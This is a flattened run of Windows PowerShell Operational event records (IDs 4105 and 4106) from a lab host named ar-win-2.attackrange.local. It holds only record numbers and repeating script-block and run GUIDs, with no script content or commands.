410515102150x0673900Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673899Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673898Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673897Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673896Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673895Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673894Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673893Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673892Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673891Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673890Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673889Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673888Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673887Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673886Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673885Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673884Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673883Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673882Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673881Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673880Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673879Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673878Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673877Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673876Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673875Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673874Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673873Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673872Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673871Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673870Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673869Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673868Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673867Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673866Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673865Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673864Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673863Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673862Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673861Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673860Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673859Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673858Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673857Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673856Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673855Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673854Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673853Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673852Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673851Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673850Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673849Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673848Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673847Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673846Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673845Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673844Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673843Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673842Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673841Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673840Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673839Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673838Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673837Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673836Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673835Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673834Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673833Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673832Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673831Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673830Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673829Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673828Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673827Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673826Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673825Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673824Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673823Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673822Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673821Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673820Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673819Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673818Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673817Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673816Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673815Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673814Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673813Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673812Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673811Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673810Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673809Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673808Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673807Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673806Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673805Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673804Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673803Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673802Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673801Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673800Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673799Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673798Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673797Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673796Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673795Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673794Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673793Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673792Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673791Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673790Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673789Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673788Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673787Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673786Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673785Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673784Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673783Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673782Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673781Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673780Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673779Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673778Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673777Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673776Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673775Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673774Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673773Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673772Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673771Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673770Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673769Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673768Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673767Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673766Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673765Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673764Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673763Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673762Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673761Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673760Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673759Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673758Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673757Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673756Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673755Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673754Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673753Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673752Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673751Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673750Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673749Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673748Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673747Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673746Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673745Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673744Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673743Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673742Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673741Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673740Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0673739Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0673738Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 